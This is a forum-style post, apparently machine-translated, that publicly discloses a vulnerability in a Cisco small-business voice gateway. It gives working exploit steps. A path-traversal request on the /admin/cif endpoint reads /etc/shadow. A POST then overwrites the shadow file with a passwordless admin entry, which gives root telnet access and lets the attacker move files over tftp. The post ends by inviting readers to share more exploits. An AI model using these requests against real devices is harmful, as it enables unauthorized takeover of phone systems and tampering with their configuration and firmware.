I decided to share achievements, still on the Cisco S & B shit a long time, I think they should pay special attention. Sources with them, asking several times, but they stupidly silent.
I am too lazy too lazy to translate into English, otherwise I would not tweeted yet. Whom it is necessary to understand.
What is available via httpd:
http://192.168.10.1/askfordevmode.html
http://192.168.10.1/wizard/askfordevmode.html
Only after login:
http://192.168.10.1/admin/voice/
http://192.168.10.1/admin/cif
Now the fun part. Cif process launched with root privileges, and can work with the file system. This makes it possible to obtain a directory listing, read files, and even writing.
Queries are as follows:
http://192.168.10.1/admin/cif?dir= - will give the entire contents of the directory ~/home/usb_disk
http://192.168.10.1/admin/cif?file=pb_db.txt - as well as text , we get all the contents of the file ~/home/usb_disk/pb_db.txt
Attention to the question, and one we get the contents of the file meshat shadow? Yes, no one!
http://192.168.10.1/admin/cif?file=/../../etc/shadow
List of salt and we already have. Password for uchetku admin generated and written every time you start the device, which is a bit inconvenient. Salt always alone, then the password is always the same. He created based on the MAC address of the device, but the principle is unknown to me. Instead, reset it to us no one interferes, although this should be done every time you restart.
Create a query with the contents:
admin::0:0:99999:7:::
And by POST method through HTTP send it on the link above. Then take telnet and connect to it by entering the user name admin, password, he will not ask.
Then using busybox, or rather its wrapper tar and tftp can quickly receive and upload files to the device.
The entire configuration is stored in XML. I describe where something:
~/home/usb_disk/cfg/misc/dynamicconfig.xml — options flash wizard
~/home/usb_disk/cfg/locales/ — region packs in XML and dictionaries for IP phones
~/home/usb_disk/tftproot/ — folder from which IP phones receive information about the firmware. These files are loaded first IP phones, after receiving information on the DHCP address of the TFTP server
~/home/usb_disk/cfg/firmware/ - directory with phone firmware
This is the most important, and the rest describe the sense not see, will understand already own.
If someone will pick httpd, it can be noted that it mounts on startup container ~/home/usb_disk/wz.fs with read-only access to the directory ~/www/wizard/
I ask if any other operating time not to forget to share them with others.
P.S. If anyone will be able to, collect SSH for him for more convenient access for SFTP, all auxiliary components are already there. I still do not own up to it.
